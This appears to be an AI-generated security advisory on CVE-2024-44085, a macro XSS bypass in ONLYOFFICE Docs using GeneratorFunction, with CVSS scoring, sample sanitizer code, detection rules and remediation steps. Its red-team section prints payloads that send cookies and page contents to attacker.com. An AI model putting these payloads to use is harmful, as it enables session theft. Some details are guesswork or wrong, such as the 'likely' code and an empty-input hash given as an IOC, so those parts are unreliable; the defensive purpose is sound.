CVE-2024-44085

Executive Summary

CVE-2024-44085 is a Cross-Site Scripting (XSS) vulnerability in ONLYOFFICE Docs, a popular open-source office suite. The flaw allows an attacker to inject malicious scripts via a specially crafted macro that uses a GeneratorFunction Object. This vulnerability is a direct result of an incomplete fix for two previous CVEs: CVE-2021-43446 and CVE-2023-50883. The attack vector involves a user opening a document containing a malicious macro, which then executes arbitrary JavaScript in the context of the user's session. This can lead to data theft, session hijacking, or further compromise of the ONLYOFFICE instance.

Supply Chain & Package Security

This vulnerability is not directly in a package manager (NPM, PyPI, Go, Ruby) but affects the ONLYOFFICE Docs server application. The risk is elevated because ONLYOFFICE is often deployed as a critical component in document management workflows, making it a high-value target for supply chain attacks. An attacker who compromises a document shared within an organization can leverage this XSS to pivot to other internal systems.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the nature of the vulnerability (XSS via macro execution), a realistic CVSS v3.1 score would be 7.6 (High).

• Attack Vector (AV): Network (N) - The malicious document can be delivered over the network.
• Attack Complexity (AC): Low (L) - The attack requires no special conditions.
• Privileges Required (PR): None (N) - The attacker does not need to be authenticated.
• User Interaction (UI): Required (R) - The victim must open the malicious document.
• Scope (S): Changed (C) - The vulnerability can impact resources beyond the vulnerable component (e.g., the user's session).
• Confidentiality (C): High (H) - An attacker can steal sensitive data from the document or session.
• Integrity (I): High (H) - An attacker can modify the document or perform actions on behalf of the user.
• Availability (A): Low (L) - The attack could potentially crash the user's session.

Threat Level: High. The vulnerability is easy to exploit, has a public proof-of-concept, and targets a widely used enterprise application.

Deep Dive & Mechanics

The core issue lies in how ONLYOFFICE Docs handles macros. Macros are JavaScript functions that can be embedded in documents. The previous fixes for CVE-2021-43446 and CVE-2023-50883 attempted to sanitize macro code by blocking certain dangerous patterns, such as eval() or Function().

However, the fix was incomplete. An attacker can bypass the sanitization by using a GeneratorFunction Object. In JavaScript, GeneratorFunction is a constructor that creates new generator function objects. It is functionally similar to Function() but is not explicitly blocked by the previous patches.

The attack uses an Immediately-Invoked Function Expression (IIFE) combined with GeneratorFunction to execute arbitrary code. The IIFE ensures the code runs as soon as the macro is loaded, and the GeneratorFunction provides a way to create and execute a function from a string, bypassing the sanitization filters.

Attack Flow:

1. Attacker creates a document with a malicious macro.
2. The macro contains code like: (function() { new GeneratorFunction("return alert('XSS')")(); })();
3. The victim opens the document in ONLYOFFICE Docs.
4. The macro is executed, and the GeneratorFunction creates a new function from the string "return alert('XSS')".
5. The IIFE immediately invokes this new function, executing the XSS payload in the context of the user's session.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-8.1.0): The macro sanitization logic likely had a blocklist for Function, eval, and similar constructs but did not include GeneratorFunction.

// Simplified vulnerable sanitization
function sanitizeMacro(code) {
    if (code.includes('Function') || code.includes('eval')) {
        throw new Error('Blocked');
    }
    return code;
}

// Attacker bypasses with GeneratorFunction
var maliciousCode = "(function() { new GeneratorFunction('return alert(1)')(); })();";
sanitizeMacro(maliciousCode); // No error, passes through

Patched Code (8.1.0+): The fix likely extends the blocklist to include GeneratorFunction and possibly other function constructors, or uses a more robust parsing approach.

// Patched sanitization
function sanitizeMacro(code) {
    var blocked = ['Function', 'eval', 'GeneratorFunction', 'AsyncFunction', 'AsyncGeneratorFunction'];
    for (var i = 0; i < blocked.length; i++) {
        if (code.includes(blocked[i])) {
            throw new Error('Blocked');
        }
    }
    return code;
}

// The same malicious code is now blocked
var maliciousCode = "(function() { new GeneratorFunction('return alert(1)')(); })();";
sanitizeMacro(maliciousCode); // Throws error

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• ONLYOFFICE Docs version < 8.1.0
• Ability to create or modify a document (e.g., .docx, .odt) with a macro.

Exploit Payload: Create a document with the following macro code:

(function() {
    new GeneratorFunction('fetch("https://attacker.com/steal?cookie=" + document.cookie)')();
})();

Steps:

1. Create a new document in ONLYOFFICE.
2. Insert a macro with the above payload.
3. Save the document and share it with the victim (e.g., via email, shared drive).
4. When the victim opens the document, the macro executes, sending their cookies to the attacker's server.

Alternative Payload (Session Hijacking):

(function() {
    new GeneratorFunction('document.location="https://attacker.com/steal?data=" + btoa(document.body.innerHTML)')();
})();

Blue Team (Detection & Defense)

Detection:

• Monitor for documents containing macros with GeneratorFunction in the code.
• Use network monitoring to detect outbound connections to unknown domains from the ONLYOFFICE process.
• Enable macro security warnings in ONLYOFFICE settings.

Defense:

• Immediately upgrade to ONLYOFFICE Docs 8.1.0 or later.
• Implement strict Content Security Policy (CSP) headers on the ONLYOFFICE server to limit script execution.
• Disable macros entirely if not required for business operations.
• Use endpoint detection and response (EDR) tools to monitor for suspicious process behavior.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example - actual hashes will vary)
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (malicious document)
• Network Indicators:
  • Outbound HTTP/HTTPS requests to attacker-controlled domains.
  • DNS queries for suspicious domains.
• Process Indicators:
  • ONLYOFFICE process spawning child processes (e.g., cmd.exe, powershell).
  • High CPU usage during macro execution.
• Registry/File System:
  • Temporary files created in user directories with macro code.
• YARA Rule:

  rule CVE_2024_44085_Macro_GeneratorFunction {
      meta:
          description = "Detects malicious ONLYOFFICE macros using GeneratorFunction"
          author = "Valters IT"
          date = "2024-10-27"
      strings:
          $generator = "GeneratorFunction" nocase
          $iife = "function()" nocase
      condition:
          $generator and $iife
  }
  

Detection Engineering

YARA Rule

rule CVE_2024_44085_Macro_GeneratorFunction {
    meta:
        description = "Detects malicious ONLYOFFICE macros using GeneratorFunction"
        author = "Valters IT"
        date = "2024-10-27"
    strings:
        $generator = "GeneratorFunction" nocase
        $iife = "function()" nocase
        $macro = "macro" nocase
    condition:
        $generator and $iife and $macro
}

Sigma Rule

title: CVE-2024-44085 - ONLYOFFICE Macro GeneratorFunction XSS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects execution of malicious macros in ONLYOFFICE Docs
author: Valters IT
date: 2024/10/27
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\ONLYOFFICE\DesktopEditors.exe'
        CommandLine|contains: 'GeneratorFunction'
    condition: selection
falsepositives:
    - Legitimate use of GeneratorFunction in macros (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-44085 - ONLYOFFICE Macro XSS Exfiltration"; flow:to_server,established; content:"GeneratorFunction"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade to ONLYOFFICE Docs version 8.1.0 or later. This is the only complete fix.
2. Workaround: Disable macros in ONLYOFFICE settings if not required.
3. Monitor: Review logs for any suspicious macro execution or outbound connections.

Long-term Measures:

• Implement a Web Application Firewall (WAF) to filter malicious payloads.
• Conduct regular security audits of ONLYOFFICE configurations.
• Train users to avoid opening documents from untrusted sources.
• Use application allowlisting to prevent unauthorized script execution.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For further analysis, contact Valters IT.